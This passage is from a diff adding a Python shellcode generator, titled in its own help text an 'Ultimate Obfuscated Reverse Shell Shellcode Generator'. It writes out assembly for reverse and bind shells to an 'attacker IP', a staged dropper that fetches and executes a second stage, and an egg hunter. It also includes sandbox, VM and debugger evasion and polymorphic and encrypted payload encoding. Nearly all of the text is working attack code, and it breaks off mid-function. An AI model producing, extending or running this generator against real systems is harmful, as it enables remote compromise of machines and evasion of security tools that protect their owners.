+ mov r15, 0x{egg_int:08X}
1051
+ xor rcx, rcx
1052
+ mov rsi, rcx
1053
+ dec rsi
1054
+ next_page:
1055
+ or rcx, 0xfff
1056
+ next_byte:
1057
+ inc rcx
1058
+ mov rax, 0x{egg_int:08X}
1059
+ mov rdx, 0x21
1060
+ mov r10, rcx
1061
+ inc r10
1062
+ syscall
1063
+ cmp rax, 0xf2
1064
+ je next_page
1065
+ mov rdi, rcx
1066
+ mov rdx, 4
1067
+ mov rax, 0
1068
+ syscall
1069
+ cmp rax, 4
1070
+ jne next_byte
1071
+ mov rdi, rcx
1072
+ mov rsi, rcx
1073
+ lodsd
1074
+ cmp rax, r15
1075
+ jne next_byte
1076
+ mov rdi, rcx
1077
+ add rdi, 4
1078
+ jmp rdi
1079
+ """
1080
+ try:
1081
+ return myasm(hunter_asm)
1082
+ except Exception as e:
1083
+ print(f"{RED}[-] Error assembling egg hunter: {e}{RESET}", file=sys.stderr)
1084
+ raise
1085
+
1086
+
1087
+ def generate_sleep_evasion(sleep_seconds: int = 60) -> bytes:
1088
+ sleep_asm = f"""
1089
+ mov rax, 35
1090
+ xor rdi, rdi
1091
+ syscall
1092
+ mov rax, 35
1093
+ add rdi, {sleep_seconds}
1094
+ syscall
1095
+ """
1096
+ try:
1097
+ return myasm(sleep_asm)
1098
+ except Exception as e:
1099
+ print(f"{RED}[-] Error assembling sleep evasion: {e}{RESET}", file=sys.stderr)
1100
+ raise
1101
+
1102
+
1103
+ def generate_vm_detection() -> bytes:
1104
+ vm_asm = """
1105
+ xor eax, eax
1106
+ mov ax, 0x5658
1107
+ push rax
1108
+ mov rdi, rsp
1109
+ xor esi, esi
1110
+ mov rax, 318
1111
+ syscall
1112
+ pop rax
1113
+ cmp ax, 0x5658
1114
+ jne not_vmware
1115
+
1116
+ mov rax, 60
1117
+ mov rdi, 1
1118
+ syscall
1119
+
1120
+ not_vmware:
1121
+ mov rdi, 0x766D7770
1122
+ mov qword ptr [rsp - 8], rdi
1123
+ mov rdi, rsp
1124
+ sub rdi, 8
1125
+ mov rsi, 0
1126
+ mov rax, 318
1127
+ syscall
1128
+
1129
+ cmp rax, 0
1130
+ je not_hyperv
1131
+
1132
+ mov rax, 60
1133
+ mov rdi, 1
1134
+ syscall
1135
+
1136
+ not_hyperv:
1137
+ mov rdi, 0x64616F74
1138
+ mov qword ptr [rsp - 8], rdi
1139
+ mov rdi, rsp
1140
+ sub rdi, 8
1141
+ mov rsi, 0
1142
+ mov rax, 318
1143
+ syscall
1144
+
1145
+ cmp rax, 0
1146
+ je not_qemu
1147
+
1148
+ mov rax, 60
1149
+ mov rdi, 1
1150
+ syscall
1151
+
1152
+ not_qemu:
1153
+ ret
1154
+ """
1155
+ try:
1156
+ return myasm(vm_asm)
1157
+ except Exception as e:
1158
+ print(f"{RED}[-] Error assembling VM detection: {e}{RESET}", file=sys.stderr)
1159
+ raise
1160
+
1161
+
1162
+ def generate_parent_check() -> bytes:
1163
+ parent_asm = """
1164
+ mov rax, 110
1165
+ syscall
1166
+ mov r15, rax
1167
+ cmp r15, 1
1168
+ je parent_exit
1169
+ cmp r15, 2
1170
+ je parent_exit
1171
+ mov rax, 110
1172
+ syscall
1173
+ cmp rax, 1
1174
+ je grandparent_exit
1175
+ jmp continue_execution
1176
+
1177
+ parent_exit:
1178
+ mov rax, 60
1179
+ mov rdi, 0
1180
+ syscall
1181
+
1182
+ grandparent_exit:
1183
+ mov rax, 60
1184
+ mov rdi, 0
1185
+ syscall
1186
+
1187
+ continue_execution:
1188
+ ret
1189
+ """
1190
+ try:
1191
+ return myasm(parent_asm)
1192
+ except Exception as e:
1193
+ print(f"{RED}[-] Error assembling parent check: {e}{RESET}", file=sys.stderr)
1194
+ raise
1195
+
1196
+
1197
+ def api_hash(syscall_name: str) -> int:
1198
+ h = 0
1199
+ for c in syscall_name.lower():
1200
+ h = (h << 5) - h + ord(c)
1201
+ h &= 0xFFFFFFFF
1202
+ return h
1203
+
1204
+
1205
+ def generate_bind_shell(port: int, bind_addr: str = "0.0.0.0") -> bytes:
1206
+ try:
1207
+ ip_bytes = socket.inet_aton(bind_addr)
1208
+ except OSError:
1209
+ raise ValueError(f"Invalid bind address: {bind_addr}")
1210
+ port_bytes = port.to_bytes(2, "big")
1211
+ port_int = struct.unpack("<H", port_bytes)[0]
1212
+
1213
+ bind_asm = f"""
1214
+ mov rax, 41
1215
+ mov rdi, 2
1216
+ mov rsi, 1
1217
+ xor rdx, rdx
1218
+ syscall
1219
+ mov r15, rax
1220
+
1221
+ mov rax, 49
1222
+ mov rdi, r15
1223
+ sub rsp, 16
1224
+ mov dword ptr [rsp+4], 0x{ip_bytes.hex()}
1225
+ mov ax, {port_int}
1226
+ mov word ptr [rsp+2], ax
1227
+ mov word ptr [rsp], 2
1228
+ mov rsi, rsp
1229
+ mov rdx, 16
1230
+ syscall
1231
+ add rsp, 16
1232
+
1233
+ mov rax, 50
1234
+ mov rdi, r15
1235
+ xor rsi, rsi
1236
+ syscall
1237
+
1238
+ mov rax, 43
1239
+ mov rdi, r15
1240
+ xor rsi, rsi
1241
+ xor rdx, rdx
1242
+ syscall
1243
+ mov r14, rax
1244
+
1245
+ xor rsi, rsi
1246
+ dup_loop_bind:
1247
+ mov rax, 33
1248
+ mov rdi, r14
1249
+ syscall
1250
+ inc rsi
1251
+ cmp rsi, 3
1252
+ jne dup_loop_bind
1253
+
1254
+ mov rdi, r14
1255
+ mov rax, 59
1256
+ sub rsp, 16
1257
+ mov qword ptr [rsp], 0x68732F6E69622F
1258
+ mov qword ptr [rsp+8], 0
1259
+ mov rdi, rsp
1260
+ xor rsi, rsi
1261
+ xor rdx, rdx
1262
+ syscall
1263
+ add rsp, 16
1264
+ """
1265
+ try:
1266
+ return myasm(bind_asm)
1267
+ except Exception as e:
1268
+ print(f"{RED}[-] Error assembling bind shell: {e}{RESET}", file=sys.stderr)
1269
+ raise
1270
+
1271
+
1272
+ def generate_ipv6_reverse_shell(ipv6_addr: str, port: int) -> bytes:
1273
+ try:
1274
+ ipv6_bytes = socket.inet_pton(socket.AF_INET6, ipv6_addr)
1275
+ except OSError:
1276
+ raise ValueError(f"Invalid IPv6 address: {ipv6_addr}")
1277
+ port_bytes = port.to_bytes(2, "big")
1278
+ port_int = struct.unpack("<H", port_bytes)[0]
1279
+
1280
+ ipv6_asm = f"""
1281
+ mov rax, 41
1282
+ mov rdi, 10
1283
+ mov rsi, 1
1284
+ xor rdx, rdx
1285
+ syscall
1286
+ mov r15, rax
1287
+
1288
+ mov rax, 42
1289
+ mov rdi, r15
1290
+ sub rsp, 28
1291
+ mov qword ptr [rsp], 0x{ipv6_bytes[:8].hex()}
1292
+ mov qword ptr [rsp+8], 0x{ipv6_bytes[8:].hex()}
1293
+ mov ax, {port_int}
1294
+ mov word ptr [rsp+24], ax
1295
+ mov word ptr [rsp+26], 10
1296
+ mov rsi, rsp
1297
+ mov rdx, 28
1298
+ syscall
1299
+ add rsp, 28
1300
+
1301
+ xor rsi, rsi
1302
+ dup_loop_ipv6:
1303
+ mov rax, 33
1304
+ mov rdi, r15
1305
+ syscall
1306
+ inc rsi
1307
+ cmp rsi, 3
1308
+ jne dup_loop_ipv6
1309
+
1310
+ mov rdi, r15
1311
+ mov rax, 59
1312
+ sub rsp, 16
1313
+ mov qword ptr [rsp], 0x68732F6E69622F
1314
+ mov qword ptr [rsp+8], 0
1315
+ mov rdi, rsp
1316
+ xor rsi, rsi
1317
+ xor rdx, rdx
1318
+ syscall
1319
+ add rsp, 16
1320
+ """
1321
+ try:
1322
+ return myasm(ipv6_asm)
1323
+ except Exception as e:
1324
+ print(
1325
+ f"{RED}[-] Error assembling IPv6 reverse shell: {e}{RESET}", file=sys.stderr
1326
+ )
1327
+ raise
1328
+
1329
+
1330
+ def generate_dns_resolve(domain: str) -> bytes:
1331
+ domain_bytes = domain.encode("ascii") + b"\x00"
1332
+ padded_domain = domain_bytes.ljust(14, b"\x00")[:14]
1333
+ word14_hex = padded_domain[12:14].hex() if len(domain_bytes) > 12 else "0000"
1334
+ resolve_asm = f"""
1335
+ mov rax, 41
1336
+ mov rdi, 2
1337
+ mov rsi, 1
1338
+ xor rdx, rdx
1339
+ syscall
1340
+ mov r15, rax
1341
+
1342
+ mov rax, 42
1343
+ mov rdi, r15
1344
+ sub rsp, 16
1345
+ mov dword ptr [rsp], 0x{padded_domain[:4].hex()}
1346
+ mov qword ptr [rsp+4], 0x{padded_domain[4:12].hex()}
1347
+ mov word ptr [rsp+14], 0x{word14_hex}
1348
+ mov word ptr [rsp+2], 53
1349
+ mov word ptr [rsp], 2
1350
+ mov rsi, rsp
1351
+ mov rdx, 16
1352
+ syscall
1353
+ add rsp, 16
1354
+ """
1355
+ try:
1356
+ return myasm(resolve_asm)
1357
+ except Exception as e:
1358
+ print(f"{RED}[-] Error assembling DNS resolver: {e}{RESET}", file=sys.stderr)
1359
+ raise
1360
+
1361
+
1362
+ def substitute_instructions(asm_code: str) -> str:
1363
+ substitutions = [
1364
+ ("xor eax, eax", "and eax, 0"),
1365
+ ("sub rax, rax", "xor rax, rax"),
1366
+ ("push rax; pop rax", "xchg rax, rax"),
1367
+ ("mov rdi, 0", "xor rdi, rdi"),
1368
+ ("mov rsi, 0", "xor rsi, rsi"),
1369
+ ("mov rdx, 0", "xor rdx, rdx"),
1370
+ ]
1371
+ result = asm_code
1372
+ for old, new in substitutions:
1373
+ if random.random() > 0.5:
1374
+ result = result.replace(old, new)
1375
+ return result
1376
+
1377
+
1378
+ def transposed_code(asm_lines: list[str]) -> list[str]:
1379
+ if len(asm_lines) < 3:
1380
+ return asm_lines
1381
+ independent = []
1382
+ dependent = []
1383
+ deps = ["jmp", "je", "jne", "jz", "jnz", "js", "jns", "call", "ret", "loop"]
1384
+ for line in asm_lines:
1385
+ if any(d in line.lower() for d in deps):
1386
+ dependent.append(line)
1387
+ else:
1388
+ independent.append(line)
1389
+ random.shuffle(independent)
1390
+ result = []
1391
+ i, j = 0, 0
1392
+ for line in asm_lines:
1393
+ if any(d in line.lower() for d in deps):
1394
+ result.append(dependent[j])
1395
+ j += 1
1396
+ else:
1397
+ result.append(independent[i])
1398
+ i += 1
1399
+ return result
1400
+
1401
+
1402
+ def call_preceded_obfuscation(syscall_num: int) -> bytes:
1403
+ obf_asm = f"""
1404
+ call next_instr
1405
+ next_instr:
1406
+ pop r10
1407
+ mov dword ptr [r10 + 1], {syscall_num}
1408
+ mov byte ptr [r10], 0xE8
1409
+ jmp r10
1410
+
1411
+ nop
1412
+ nop
1413
+ nop
1414
+ """
1415
+ try:
1416
+ return myasm(obf_asm)
1417
+ except Exception as e:
1418
+ print(
1419
+ f"{RED}[-] Error assembling call preceded obfuscation: {e}{RESET}",
1420
+ file=sys.stderr,
1421
+ )
1422
+ raise
1423
+
1424
+
1425
+ def syscall_splitting(syscall_num: int) -> bytes:
1426
+ split_asm = f"""
1427
+ mov r10, {syscall_num}
1428
+ nop
1429
+ mov rax, r10
1430
+ nop
1431
+ nop
1432
+ """
1433
+ try:
1434
+ return myasm(split_asm)
1435
+ except Exception as e:
1436
+ print(
1437
+ f"{RED}[-] Error assembling syscall splitting: {e}{RESET}", file=sys.stderr
1438
+ )
1439
+ raise
1440
+
1441
+
1442
+ def generate_staged_payload(stage1_size: int = 128) -> tuple[bytes, bytes]:
1443
+ stage1_asm = f"""
1444
+ mov rax, 9
1445
+ mov rdi, 0
1446
+ mov rsi, {stage1_size}
1447
+ mov rdx, 7
1448
+ mov r10, 0x22
1449
+ xor r8, r8
1450
+ dec r8
1451
+ mov r9, 0
1452
+ syscall
1453
+ mov r15, rax
1454
+
1455
+ mov rax, 41
1456
+ mov rdi, 2
1457
+ mov rsi, 1
1458
+ xor rdx, rdx
1459
+ syscall
1460
+ mov r14, rax
1461
+
1462
+ mov rax, 42
1463
+ mov rdi, r14
1464
+ sub rsp, 16
1465
+ mov dword ptr [rsp+4], 0x0100007F
1466
+ mov ax, 0x5C11
1467
+ mov word ptr [rsp+2], ax
1468
+ mov word ptr [rsp], 2
1469
+ mov rsi, rsp
1470
+ mov rdx, 16
1471
+ syscall
1472
+ add rsp, 16
1473
+
1474
+ mov rax, 0
1475
+ mov rdi, r14
1476
+ mov rsi, r15
1477
+ mov rdx, {stage1_size}
1478
+ syscall
1479
+
1480
+ mov rax, 59
1481
+ mov rdi, r15
1482
+ xor rsi, rsi
1483
+ xor rdx, rdx
1484
+ syscall
1485
+ """
1486
+ try:
1487
+ stage1 = myasm(stage1_asm)
1488
+ except Exception as e:
1489
+ print(f"{RED}[-] Error assembling stage1: {e}{RESET}", file=sys.stderr)
1490
+ raise
1491
+
1492
+ stage2_asm = """
1493
+ mov rax, 59
1494
+ sub rsp, 16
1495
+ mov qword ptr [rsp], 0x68732F6E69622F
1496
+ mov qword ptr [rsp+8], 0
1497
+ mov rdi, rsp
1498
+ xor rsi, rsi
1499
+ xor rdx, rdx
1500
+ syscall
1501
+ add rsp, 16
1502
+ """
1503
+ try:
1504
+ stage2 = myasm(stage2_asm)
1505
+ except Exception as e:
1506
+ print(f"{RED}[-] Error assembling stage2: {e}{RESET}", file=sys.stderr)
1507
+ raise
1508
+
1509
+ return stage1, stage2
1510
+
1511
+
1512
+ def enhanced_polymorphic_engine(shellcode: bytes, junk_ratio: float = 0.3) -> bytes:
1513
+ junk_patterns = [
1514
+ ("xor rcx, rcx", 3),
1515
+ ("add rdx, 0", 3),
1516
+ ("lea rsi, [rsi + 0]", 4),
1517
+ ("mov r9, r9", 3),
1518
+ ("push rbx; pop rbx", 4),
1519
+ ("nop", 1),
1520
+ ("xchg rax, rax", 1),
1521
+ ("test r8, r8", 3),
1522
+ ("cdqe", 1),
1523
+ ("mov rax, rax", 3),
1524
+ ("push rax; push rax; pop rax; pop rax", 6),
1525
+ ("imul rax, rax, 1", 4),
1526
+ ("shl rax, 0", 3),
1527
+ ("sar rax, 0", 3),
1528
+ ("mov rbx, rbx; mov rcx, rcx; mov rdx, rdx", 9),
1529
+ ]
1530
+ result = bytearray()
1531
+ for byte in shellcode:
1532
+ if random.random() < junk_ratio:
1533
+ junk, size = random.choice(junk_patterns)
1534
+ try:
1535
+ junk_bytes = myasm(junk)
1536
+ result.extend(junk_bytes)
1537
+ except Exception:
1538
+ pass
1539
+ result.append(byte)
1540
+ return bytes(result)
1541
+
1542
+
1543
+ def generate_payload(
1544
+ ip: str | None,
1545
+ port: int | None,
1546
+ executable_path: str,
1547
+ junk: bool,
1548
+ anti_emulation: bool,
1549
+ stack_pivot: bool,
1550
+ obfuscate_path: bool,
1551
+ anti_debug: bool,
1552
+ indirect_syscalls: bool,
1553
+ payload_type: str = "reverse",
1554
+ ipv6: bool = False,
1555
+ domain: str | None = None,
1556
+ bind_addr: str | None = None,
1557
+ sleep_seconds: int | None = None,
1558
+ vm_detect: bool = False,
1559
+ parent_check: bool = False,
1560
+ egg: bytes | None = None,
1561
+ base64_enc: bool = False,
1562
+ base32_enc: bool = False,
1563
+ aes_key: bytes | None = None,
1564
+ rc4_key: bytes | None = None,
1565
+ ) -> bytes:
1566
+ payload_asm = ""
1567
+ extra_bytes = b""
1568
+
1569
+ pid = os.getpid()
1570
+ path_decode_loop_label = f"path_decode_loop_{pid}"
1571
+ ptrace_fail_label = f"being_traced_exit_{pid}"
1572
+ syscall_gadget_label = f"syscall_gadget_{pid}"
1573
+ main_code_end_label = f"main_code_end_{pid}"
1574
+ dup_loop_label = f"dup_loop_{pid}"
1575
+
1576
+ path_xor_key = 0x42
1577
+
1578
+ syscall_instruction = (
1579
+ f"call {syscall_gadget_label}" if indirect_syscalls else "syscall"
1580
+ )
1581
+
1582
+ if sleep_seconds is not None:
1583
+ sleep_evasion = generate_sleep_evasion(sleep_seconds)
1584
+ extra_bytes += sleep_evasion
1585
+
1586
+ if vm_detect:
1587
+ vm_detection = generate_vm_detection()
1588
+ extra_bytes += vm_detection
1589
+
1590
+ if parent_check:
1591
+ parent_check_code = generate_parent_check()
1592
+ extra_bytes += parent_check_code
1593
+
1594
+ if stack_pivot:
1595
+ payload_asm += " sub rsp, 0x500\n"
1596
+
1597
+ if anti_debug:
1598
+ payload_asm += f"""
1599
+ mov rax, 101
1600
+ mov rdi, 0
1601
+ xor rsi, rsi
1602
+ xor rdx, rdx
1603
+ {syscall_instruction}
1604
+ test rax, rax
1605
+ js {ptrace_fail_label}
1606
+ """
1607
+
1608
+ if anti_emulation:
1609
+ payload_asm += """
1610
+ rdtsc
1611
+ mov r10, rax
1612
+ mov r11, rdx
1613
+ nop; nop; nop; nop
1614
+ cpuid
1615
+ nop; nop; nop; nop
1616
+ rdtsc
1617
+ sub rax, r10
1618
+ sbb rdx, r11
1619
+ """
1620
+
1621
+ if payload_type == "reverse":
1622
+ if ipv6 and ip:
1623
+ ipv6_shell = generate_ipv6_reverse_shell(ip, port)
1624
+ extra_bytes += ipv6_shell
1625
+ elif ip and port:
1626
+ try:
1627
+ ip_bytes = socket.inet_aton(ip)
1628
+ except OSError:
1629
+ raise ValueError(f"Invalid IP address format: {ip}")
1630
+ port_bytes = port.to_bytes(2, "big")
1631
+ payload_asm += f"""
1632
+ mov rax, 41
1633
+ mov rdi, 2
1634
+ mov rsi, 1
1635
+ xor rdx, rdx
1636
+ {syscall_instruction}
1637
+ mov rdi, rax
1638
+
1639
+ sub rsp, 16
1640
+ mov dword ptr [rsp+4], 0x{ip_bytes.hex()}
1641
+ mov word ptr [rsp+2], 0x{port_bytes.hex()}
1642
+ mov word ptr [rsp], 2
1643
+ mov rax, 42
1644
+ mov rsi, rsp
1645
+ mov rdx, 16
1646
+ {syscall_instruction}
1647
+ add rsp, 16
1648
+
1649
+ mov rsi, 0
1650
+ {dup_loop_label}:
1651
+ mov rax, 33
1652
+ {syscall_instruction}
1653
+ inc rsi
1654
+ cmp rsi, 3
1655
+ jne {dup_loop_label}
1656
+ """
1657
+
1658
+ elif payload_type == "bind" and port:
1659
+ bind_addr_val = bind_addr or "0.0.0.0"
1660
+ bind_shell = generate_bind_shell(port, bind_addr_val)
1661
+ extra_bytes += bind_shell
1662
+
1663
+ elif payload_type == "dns" and domain:
1664
+ dns_resolve = generate_dns_resolve(domain)
1665
+ extra_bytes += dns_resolve
1666
+
1667
+ if egg:
1668
+ egghunter = egg_hunter(egg)
1669
+ extra_bytes += egghunter
1670
+
1671
+ try:
1672
+ exec_bytes = executable_path.encode("utf-8") + b"\x00"
1673
+ except UnicodeEncodeError:
1674
+ raise ValueError(
1675
+ f"Executable path '{executable_path}' contains non-UTF8 characters."
1676
+ )
1677
+ padding_needed = (8 - (len(exec_bytes) % 8)) % 8
1678
+ padded_exec_bytes = exec_bytes + (b"\x00" * padding_needed)
1679
+ exec_len = len(padded_exec_bytes)
1680
+
1681
+ if obfuscate_path:
1682
+ print(
1683
+ f"{YELLOW}[*] Obfuscating execution path '{executable_path}' with XOR key {path_xor_key:#04x}{RESET}",
1684
+ file=sys.stderr,
1685
+ )
1686
+ final_exec_bytes = bytes([b ^ path_xor_key for b in padded_exec_bytes])
1687
+ else:
1688
+ final_exec_bytes = padded_exec_bytes
1689
+
1690
+ payload_asm += f"\n # --- Push {'obfuscated ' if obfuscate_path else ''}executable path '{executable_path}\\0' onto stack ({exec_len} bytes padded) ---\n"
1691
+ for i in range(exec_len - 8, -8, -8):
1692
+ chunk = final_exec_bytes[i : i + 8]
1693
+ chunk_int = int.from_bytes(chunk, "little")
1694
+ payload_asm += f" mov rax, {chunk_int:#018x}\n"
1695
+ payload_asm += " push rax\n"
1696
+
1697
+ payload_asm += " mov rdi, rsp\n"
1698
+
1699
+ if obfuscate_path:
1700
+ payload_asm += f"""
1701
+ mov rcx, {exec_len}
1702
+ mov rbx, rdi
1703
+ {path_decode_loop_label}:
1704
+ xor byte ptr [rbx], {path_xor_key:#04x}
1705
+ inc rbx
1706
+ loop {path_decode_loop_label}
1707
+ """
1708
+
1709
+ payload_asm += f"""
1710
+ mov rax, 59
1711
+ xor rsi, rsi
1712
+ xor rdx, rdx
1713
+ {syscall_instruction}
1714
+ """
1715
+
1716
+ payload_asm += f"""
1717
+ jmp {main_code_end_label}
1718
+
1719
+ {ptrace_fail_label}:
1720
+ mov rax, 60
1721
+ mov rdi, 1
1722
+ {"syscall" if not indirect_syscalls else f"call {syscall_gadget_label}"}
1723
+ syscall
1724
+
1725
+ """
1726
+
1727
+ if indirect_syscalls:
1728
+ try:
1729
+ syscall_ret_bytes = myasm("syscall; ret")
1730
+ except Exception as e:
1731
+ print(
1732
+ f"{RED}[-] Error assembling syscall gadget: {e}{RESET}", file=sys.stderr
1733
+ )
1734
+ raise
1735
+ payload_asm += f"""
1736
+ {syscall_gadget_label}:
1737
+ .byte {", ".join(hex(b) for b in syscall_ret_bytes)}
1738
+
1739
+
1740
+ """
1741
+
1742
+ payload_asm += f"""
1743
+ {main_code_end_label}:
1744
+ mov rax, 60
1745
+ xor rdi, rdi
1746
+ {"syscall" if not indirect_syscalls else f"call {syscall_gadget_label}"}
1747
+ syscall
1748
+ """
1749
+
1750
+ try:
1751
+ payload_bytes = myasm(payload_asm)
1752
+ except Exception as e:
1753
+ print(f"{RED}[-] Error assembling core payload: {e}{RESET}", file=sys.stderr)
1754
+ print(
1755
+ f"{RED}--- Failed ASM --- \n{payload_asm}\n--- END ---{RESET}",
1756
+ file=sys.stderr,
1757
+ )
1758
+ raise
1759
+
1760
+ if junk:
1761
+ print(
1762
+ f"{YELLOW}[*] Inserting polymorphic junk code...{RESET}",
1763
+ file=sys.stderr,
1764
+ )
1765
+ junk_bytes = generate_polymorphic_junk()
1766
+ payload_bytes = junk_bytes + payload_bytes
1767
+
1768
+ if extra_bytes:
1769
+ payload_bytes = extra_bytes + payload_bytes
1770
+
1771
+ if base64_enc:
1772
+ payload_bytes = base64_encode(payload_bytes)
1773
+
1774
+ if base32_enc:
1775
+ payload_bytes = base32_encode(payload_bytes)
1776
+
1777
+ if aes_key:
1778
+ payload_bytes = aes_encrypt(payload_bytes, aes_key)
1779
+
1780
+ if rc4_key:
1781
+ payload_bytes = rc4_encrypt(payload_bytes, rc4_key)
1782
+
1783
+ return payload_bytes
1784
+
1785
+
1786
+ def main() -> int:
1787
+ parser = argparse.ArgumentParser(
1788
+ description="Ultimate Obfuscated Reverse Shell Shellcode Generator",
1789
+ formatter_class=argparse.ArgumentDefaultsHelpFormatter,
1790
+ )
1791
+
1792
+ conn_group = parser.add_argument_group("Connection Arguments")
1793
+ conn_group.add_argument("--ip", help="Attacker IP Address")
1794
+ conn_group.add_argument("--port", type=int, help="Attacker listener port")
1795
+ conn_group.add_argument(
1796
+ "-e", "--executable", default="/bin/sh", help="Executable path for execve"
1797
+ )
1798
+ conn_group.add_argument("--domain", help="Domain name for DNS resolution")
1799
+ conn_group.add_argument(
1800
+ "--bind-addr", default="0.0.0.0", help="Bind address for bind shell"
1801
+ )
1802
+
1803
+ type_group = parser.add_argument_group("Payload Type")
1804
+ type_group.add_argument(
1805
+ "--arch",
1806
+ choices=["amd64", "arm64"],
1807
+ default="amd64",
1808
+ help="Target architecture (default: amd64)",
1809
+ )
1810
+ type_group.add_argument(
1811
+ "--reverse", action="store_true", default=True, help="Reverse shell (default)"
1812
+ )
1813
+ type_group.add_argument(
1814
+ "--bind", action="store_true", help="Bind shell instead of reverse"
1815
+ )
1816
+ type_group.add_argument("--dns", action="store_true", help="DNS resolution payload")
1817
+ type_group.add_argument(
1818
+ "--ipv6", action="store_true", help="Use IPv6 for connection"
1819
+ )
1820
+
1821
+ evasion_group = parser.add_argument_group("Obfuscation & Evasion Arguments")
1822
+ evasion_group.add_argument(
1823
+ "--xor-key",
1824
+ type=lambda x: int(x, 0),
1825
+ help="Simple XOR key (0-255) for final payload obfuscation",
1826
+ )
1827
+ evasion_group.add_argument(
1828
+ "--rolling-xor-key",
1829
+ type=lambda x: int(x, 0),
1830
+ help="Apply rolling XOR encryption (key++) with the given starting key (0-255) [Decoder included]",
1831
+ )
1832
+ evasion_group.add_argument(
1833
+ "--rle",
1834
+ action="store_true",
1835
+ help="Enable RLE encoding (with self-decoder stub)",
1836
+ )
1837
+ evasion_group.add_argument(
1838
+ "--lz77",
1839
+ action="store_true",
1840
+ help="Enable LZ77 compression (with self-decompressor stub)",
1841
+ )
1842
+ evasion_group.add_argument(
1843
+ "--base64", action="store_true", help="Apply Base64 encoding"
1844
+ )
1845
+ evasion_group.add_argument(
1846
+ "--base32", action="store_true", help="Apply Base32 encoding"
1847
+ )
1848
+ evasion_group.add_argument(
1849
+ "--aes-key",
1850
+ type=lambda x: bytes.fromhex(x),
1851
+ help="AES encryption key (hex string, 16/24/32 bytes)",
1852
+ )
1853
+ evasion_group.add_argument(
1854
+ "--rc4-key",
1855
+ type=lambda x: bytes.fromhex(x),
1856
+ help="RC4 encryption key (hex string)",
1857
+ )
1858
+ evasion_group.add_argument(
1859
+ "--junk", action="store_true", help="Insert polymorphic junk code"
1860
+ )
1861
+ evasion_group.add_argument(
1862
+ "--obfuscate-path",
1863
+ action="store_true",
1864
+ help="XOR obfuscate the executable path string in memory (self-decoding)",
1865
+ )
1866
+ evasion_group.add_argument(
1867
+ "--indirect-syscalls",
1868
+ action="store_true",
1869
+ help="Use indirect calls to a 'syscall; ret' gadget",
1870
+ )
1871
+ evasion_group.add_argument(
1872
+ "--anti-emulation",
1873
+ action="store_true",
1874
+ help="Insert basic anti-emulation tricks (rdtsc, cpuid)",
1875
+ )
1876
+ evasion_group.add_argument(
1877
+ "--anti-debug",
1878
+ action="store_true",
1879
+ help="Add anti-debugging check (ptrace PTRACE_TRACEME)",
1880
+ )
1881
+ evasion_group.add_argument(
1882
+ "--stack-pivot",
1883
+ action="store_true",
1884
+ help="Enable simple stack pivot (sub rsp, 0x500)",
1885
+ )
1886
+
1887
+ advanced_group = parser.add_argument_group("Advanced Evasion Arguments")
1888
+ advanced_group.add_argument(
1889
+ "--sleep",
1890
+ type=int,
1891
+ help="Sleep for N seconds before execution (sandbox evasion)",
1892
+ )
1893
+ advanced_group.add_argument(
1894
+ "--vm-detect", action="store_true", help="Enable VM/hypervisor detection"
1895
+ )
1896
+ advanced_group.add_argument(
1897
+ "--parent-check",
1898
+ action="store_true",
1899
+ help="Check parent process for suspicious activity",
1900
+ )
1901
+ advanced_group.add_argument(
1902
+ "--egg",
1903
+ type=lambda x: bytes.fromhex(x),
1904
+ help="Egg marker for egg hunter (4 bytes hex)",
1905
+ )
1906
+ advanced_group.add_argument(
1907
+ "--egg-hunter",
1908
+ action="store_true",
1909
+ help="Generate egg hunter instead of full payload",
1910
+ )
1911
+ advanced_group.add_argument(
1912
+ "--staged", action="store_true", help="Generate staged payload (dropper)"
1913
+ )
1914
+ advanced_group.add_argument(
1915
+ "--polymorphic",
1916
+ action="store_true",
1917
+ help="Apply enhanced polymorphic obfuscation",
1918
+ )
1919
+
1920
+ args = parser.parse_args()
1921
+
1922
+ if args.xor_key is not None and args.rolling_xor_key is not None:
1923
+ print(
1924
+ f"{RED}[-] Error: Cannot use both --xor-key and --rolling-xor-key at the same time.{RESET}",
1925
+ file=sys.stderr,
1926
+ )
1927
+ return 1
1928
+ if args.xor_key is not None and not (0 <= args.xor_key <= 255):
1929
+ print(
1930
+ f"{RED}[-] Error: XOR key must be between 0 and 255.{RESET}",
1931
+ file=sys.stderr,
1932
+ )
1933
+ return 1
1934
+ if args.rolling_xor_key is not None and not (0 <= args.rolling_xor_key <= 255):
1935
+ print(
1936
+ f"{RED}[-] Error: Rolling XOR key must be between 0 and 255.{RESET}",
1937
+ file=sys.stderr,
1938
+ )
1939
+ return 1
1940
+ if args.port and (args.port <= 0 or args.port > 65535):
1941
+ print(
1942
+ f"{RED}[-] Error: Port must be between 1 and 65535.{RESET}",
1943
+ file=sys.stderr,
1944
+ )
1945
+ return 1
1946
+ if not args.ip and args.port and not args.bind:
1947
+ print(
1948
+ f"{RED}[-] Error: Port provided without IP address.{RESET}",
1949
+ file=sys.stderr,
1950
+ )
1951
+ return 1
1952
+
1953
+ if args.base64 and args.base32:
1954
+ print(
1955
+ f"{RED}[-] Error: Cannot use both --base64 and --base32 at the same time.{RESET}",
1956
+ file=sys.stderr,
1957
+ )
1958
+ return 1
1959
+
1960
+ if args.bind and not args.port:
1961
+ print(
1962
+ f"{RED}[-] Error: --bind requires --port.{RESET}",
1963
+ file=sys.stderr,
1964
+ )
1965
+ return 1
1966
+
1967
+ try:
1968
+ payload_type = "reverse"
1969
+ if args.bind:
1970
+ payload_type = "bind"
1971
+ elif args.dns:
1972
+ payload_type = "dns"
1973
+
1974
+ if args.arch == "arm64":
1975
+ print(f"{YELLOW}[*] Generating ARM64 payload...{RESET}", file=sys.stderr)
1976
+ if args.egg_hunter or args.staged or args.polymorphic:
1977
+ print(
1978
+ f"{RED}[-] Error: Egg hunter, staged payloads, and polymorphic are not supported for ARM64 yet.{RESET}",
1979
+ file=sys.stderr,
1980
+ )
1981
+ return 1
1982
+
1983
+ final_payload = generate_arm64_payload(
1984
+ ip=args.ip,
1985
+ port=args.port,
1986
+ executable_path=args.executable,
1987
+ payload_type=payload_type,
1988
+ bind_addr=args.bind_addr,
1989
+ )
1990
+ print(
1991
+ f"{YELLOW}[*] ARM64 payload size: {len(final_payload)} bytes{RESET}",
1992
+ file=sys.stderr,
1993
+ )
1994
+
1995
+ if args.xor_key is not None:
1996
+ final_payload = xor_encrypt(final_payload, args.xor_key)
1997
+
1998
+ if args.rolling_xor_key is not None:
1999
+ decoder_stub = rolling_xor_decoder_stub(
2000
+ len(final_payload), args.rolling_xor_key
2001
+ )
2002
+ final_payload = decoder_stub + rolling_xor_encrypt(
2003
+ final_payload, args.rolling_xor_key
2004
+ )
2005
+
2006
